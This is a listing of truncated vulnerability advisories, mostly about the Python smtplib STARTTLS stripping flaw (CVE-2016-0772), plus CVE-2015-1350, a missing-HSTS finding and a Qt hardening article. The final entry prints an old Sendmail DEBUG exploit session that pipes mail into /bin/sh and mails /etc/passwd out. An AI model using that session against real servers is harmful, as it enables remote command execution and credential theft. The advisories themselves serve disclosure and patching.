python: smtplib StartTLS stripping attack

It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the...

openSUSE Security Update : python (openSUSE-2016-906)

Python was updated to fix three security issues. The following vulnerabilities were fixed : - CVE-2016-0772: TLS stripping attack on smtplib bsc984751 - CVE-2016-5636: zipimporter heap overflow bsc985177 - CVE-2016-5699: httplib header injection bsc985348 This update also includes all upstream bu...

FreeBSD : Python -- smtplib StartTLS stripping vulnerability (8d5368ef-40fe-11e6-b2ec-b499baebfeaf)

Red Hat reports : A vulnerability in smtplib allowing MITM attacker to perform a startTLS stripping attack. smtplib does not seem to raise an exception when the remote end smtp server is capable of negotiating starttls but fails to respond with 220 ok to an explicit call of SMTP.starttls. This ma...

Python smtplib 2.7.11 3.4.4 3.5.1 - Man In The Middle StartTLS Stripping

Python smtplib 2.7.11 3.4.4 3.5.1 - Man In The Middle StartTLS Stripping VuNote ============ Author: Version: 0.2 Date: Nov 25th, 2015 Tag: python smtplib starttls stripping mitm Overview -------- Name: python Vendor: python software foundation References: https://www.python.org/ 1 Version: 2.7.1...

MGASA-2016-0230 Updated python packages fix security vulnerabilities

Updated python and python3 packages fixes security vulnerability: - Heap overflow in zipimporter module CVE-2016-5636. - HTTP header injection in urrlib2/urllib/httplib/http.client CVE-2016-5699. - smtplib StartTLS stripping attack CVE-2016-0772...

Debian DLA-522-1 : python2.7 security update

CVE-2016-0772 A vulnerability in smtplib allowing MITM attacker to perform a startTLS stripping attack. smtplib does not seem to raise an exception when the remote end smtp server is capable of negotiating starttls but fails to respond with 220 ok to an explicit call of SMTP.starttls. This may...

[SECURITY] [DLA 522-1] python2.7 security update

Package : python2.7 Version : 2.7.3-6+deb7u3 CVE ID : CVE-2016-0772 CVE-2016-5636 CVE-2016-5699 CVE-2016-0772 A vulnerability in smtplib allowing MITM attacker to perform a startTLS stripping attack. smtplib does not seem to raise an exception when the remote end smtp server is capable of...

smtplib Security Bypass Vulnerability

smtplib is a python based package for implementing SMTP clients. A security vulnerability exists in smtplib that allows remote attackers to conduct man-in-the-middle and startTLS stripping attacks...

Internet Bug Bounty: CVE-2016-0772 - python: smtplib StartTLS stripping attack

python smtplib starttls stripping attack affects: basically all versions of smtplib with starttls support and projects relying on it python 2.7.2 - 2.7.11 dates back 14 years python 3.0 - 3.5.1 dates back 7 years Python's implementation of smtplib fails to raise an exception upon an unexpected...

Python -- smtplib StartTLS stripping vulnerability

Red Hat reports: A vulnerability in smtplib allowing MITM attacker to perform a startTLS stripping attack. smtplib does not seem to raise an exception when the remote end smtp server is capable of negotiating starttls but fails to respond with 220 ok to an explicit call of SMTP.starttls. This may...

CVE-2015-1350

The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service capability stripping via a failed invocation of a system call, as...

CVE-2015-1350

The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service capability stripping via a failed invocation of a system call, as...

DEBIAN-CVE-2015-1350

The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service capability stripping via a failed invocation of a system call, as...

CVE-2015-1350

The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service capability stripping via a failed invocation of a system call, as...

CVE-2015-1350

CVE-2015-1350 is confirmed in the Connected documents as a vulnerability in the Linux kernel VFS subsystem (3.x) where setattr operations underspecify removal of extended privilege attributes. This can allow local users to cause a denial of service by stripping capabilities from specific processe...

CVE-2015-1350

The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service capability stripping via a failed invocation of a system call, as...

UBUNTU-CVE-2015-1350

The VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service capability stripping via a failed invocation of a system call, as...

HSTS Missing From HTTPS Server

The remote HTTPS server is not enforcing HTTP Strict Transport Security HSTS. HSTS is an optional response header that can be configured on the server to instruct the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks, SSL-stripping man-in-the-middle attacks, and...

Qt Weekly #26: Protecting your application against hacking

Open-source applications are open by nature, indented and encouraged for tweaking, hacking and further development. For a business critical application or a device there sometimes is desire to make it closed and prevent modifications. Because of the dual licensing, Qt offers a commercial license...

Berkeley Sendmail 5.58 DEBUG Vulnerability

No description provided by source. 220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: /dev/null 250 OK rcpt to:|sed -e '1,/^$/'d | /bin/sh ; exit 0 250 OK data 354 Start mail input; end with CRLF.CRLF mail [email protected] /etc/passwd...